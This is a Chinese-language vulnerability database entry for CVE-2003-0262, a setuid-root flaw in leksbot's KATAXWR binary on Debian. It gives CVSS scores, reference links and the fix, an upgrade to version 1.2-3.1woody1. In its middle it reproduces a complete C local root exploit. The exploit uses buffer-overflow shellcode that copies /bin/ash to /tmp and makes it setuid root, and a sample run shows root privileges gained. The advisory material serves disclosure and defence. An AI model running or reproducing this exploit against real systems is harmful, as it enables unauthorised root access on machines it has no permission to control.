CVE-2003-0262
CVSS7.2
发布时间 :2003-05-27 00:00:00
修订时间 :2008-09-05 16:33:53
NMCOE    

[原文]leksbot 1.2.3 in Debian GNU/Linux installs the KATAXWR as setuid root, which allows local users to gain root privileges by exploiting unknown vulnerabilities related to the escalated privileges, which KATAXWR is not designed to have.


[CNNVD]Leksbot多个未明漏洞(CNNVD-200305-075)

        Debian GNU/Linux中的leksbot 1.2.3安装KATAXWR作为setuid root,本地用户可以通过利用和升级权限有关的未知漏洞获取根权限,KATAXWR没有设计有该漏洞。

- CVSS (基础分值)

CVSS分值: 7.2 [严重(HIGH)]
机密性影响: COMPLETE [完全的信息泄露导致所有系统文件暴露]
完整性影响: COMPLETE [系统完整性可被完全破坏]
可用性影响: COMPLETE [可能导致系统完全宕机]
攻击复杂度: LOW [漏洞利用没有访问限制 ]
攻击向量: LOCAL [漏洞利用需要具有物理访问权限或本地帐户]
身份认证: NONE [漏洞利用无需身份认证]

- CPE (受影响的平台与产品)

产品及版本信息(CPE)暂不可用

- OVAL (用于检测的技术细节)

未找到相关OVAL定义

- 官方数据库链接

http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2003-0262
(官方数据源) MITRE
http://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2003-0262
(官方数据源) NVD
http://www.cnnvd.org.cn/vulnerability/show/cv_cnnvdid/CNNVD-200305-075
(官方数据源) CNNVD

- 其它链接及资源

http://www.debian.org/security/2003/dsa-299
(VENDOR_ADVISORY)  DEBIAN  DSA-299
http://xforce.iss.net/xforce/xfdb/11945
(UNKNOWN)  XF  kataxwr-gain-privileges(11945)
http://www.securityfocus.com/bid/7505
(UNKNOWN)  BID  7505

- 漏洞信息

Leksbot多个未明漏洞
高危 未知
2003-05-27 00:00:00 2005-10-20 00:00:00
本地  
        Debian GNU/Linux中的leksbot 1.2.3安装KATAXWR作为setuid root,本地用户可以通过利用和升级权限有关的未知漏洞获取根权限,KATAXWR没有设计有该漏洞。

- 公告与补丁

        Fixes available:
        Leksbot Leksbot 1.2
        

- 漏洞信息 (22567)

Leksbot 1.2 Multiple Unspecified Vulnerabilities (EDBID:22567)
linux local
2003-05-06 Verified
0 gunzip
N/A [点击下载]
source: http://www.securityfocus.com/bid/7505/info

Multiple vulnerabilities have been reported for Leksbot. The precise nature of these vulnerabilities are currently unknown however, exploitation of this issue may result in an attacker obtaining elevated privileges. This is because in some installations, the Leksbot binary may be installed setuid.

/* by gunzip 
 * KATAXWR/leksbot local root exploit
 * for Debian Linux 3.0
 * http://www.securityfocus.com/bid/7505
 * change command if you don't like it (gives a root shell in /tmp/ash)
 * http://members.xoom.it/gunzip . more to come
*/
#define COMMAND "cp /bin/ash /tmp && chmod 4755 /tmp/ash"
#define PATH	"/usr/bin/KATAXWR"
#define ADDR	512
#define SIZE	4096
#define OFFSET	2700

char shellcode[] = /* taken from lsd-pl */
    "\xeb\x22"             /* jmp     <cmdshellcode+36>      */
    "\x59"                 /* popl    %ecx                   */
    "\x31\xc0"             /* xorl    %eax,%eax              */
    "\x50"                 /* pushl   %eax                   */
    "\x68""//sh"           /* pushl   $0x68732f2f            */
    "\x68""/bin"           /* pushl   $0x6e69622f            */
    "\x89\xe3"             /* movl    %esp,%ebx              */
    "\x50"                 /* pushl   %eax                   */
    "\x66\x68""-c"         /* pushw   $0x632d                */
    "\x89\xe7"             /* movl    %esp,%edi              */
    "\x50"                 /* pushl   %eax                   */
    "\x51"                 /* pushl   %ecx                   */
    "\x57"                 /* pushl   %edi                   */
    "\x53"                 /* pushl   %ebx                   */
    "\x89\xe1"             /* movl    %esp,%ecx              */
    "\x99"                 /* cdql                           */
    "\xb0\x0b"             /* movb    $0x0b,%al              */
    "\xcd\x80"             /* int     $0x80                  */
    "\xe8\xd9\xff\xff\xff" /* call    <cmdshellcode+2>       */
    COMMAND;

static char cmd[SIZE];

main(int argc, char *argv[])
{
	char buf[ADDR];
	char egg[SIZE];
	int i, offset ;
	unsigned long ret ;
	unsigned long sp = (unsigned long) &sp ;
	printf("Local (possibly) root exploit for /usr/bin/KATAXWR (leksbot)\n"
	       "tested on Debian 3.0 - usage: ./ex [offset] - by gunzip\n");	
	if ( argv[1] ) offset = atoi( argv[1] ); else offset = OFFSET ; 
	ret = sp + offset ;
	memset( cmd, 0x00, SIZE );
	memset( buf, 0x00, ADDR );
	memset( egg, 0x41, SIZE );
	memcpy( &egg[ SIZE - strlen( shellcode ) - 1 ], shellcode, strlen( shellcode ));
	memcpy( egg, "EGG=", 4 );
	egg[ SIZE - 1 ] = 0 ;
	putenv( egg );
 	for ( i=0; i < ADDR ; i += 4 ) *( unsigned long *)&buf[ i ] = ret;
	*( unsigned long *)&buf[ ADDR - 4 ] =  0x00000000 ; /*  :-?  */
	if (!(ret&0xff)||!(ret&0xff00)||!(ret&0xff0000)||!(ret&0xff000000)) {
		printf("Return address contains null byte(s), change offset and retry.\n");
		exit( -1 );
	}
	printf( "retaddr=0x%.08x offset=%d len=%d\n", (unsigned int)ret, offset, strlen( buf ));
	snprintf ( cmd, SIZE - 4, " echo '%s' | %s", buf, PATH );
	system( cmd );
}
/*
 bash-2.05b$ ./a.out
 retaddr=0xbffff668 offset=2700 len=508
 Please insert the term
 #dwsete tin simasia__#
 Do you want to add an other term?(y-n)
 bash-2.05b$ /tmp/ash
 # id
 uid=1002(test) gid=1002(test) euid=0(root) groups=1002(test)
*/
		

- 漏洞信息

12065
leksbot KATAXWR Unspecified Local Privilege Escalation
Local Access Required
Loss of Integrity Upgrade
Vendor Verified

- 漏洞描述

- 时间线

2003-05-06 Unknow
Unknow Unknow

- 解决方案

Upgrade to version 1.2-3.1woody1 or higher, as it has been reported to fix this vulnerability. An upgrade is required as there are no known workarounds.

- 相关参考

- 漏洞作者

Unknown or Incomplete
 

 

关于SCAP中文社区

SCAP中文社区是国内第一个以SCAP为主题的中文开放社区。了解更多信息,请查阅[关于本站]

版权声明

CVE/CWE/OVAL均为MITRE公司的注册商标,它们的官方数据源均保存在MITRE公司的相关网站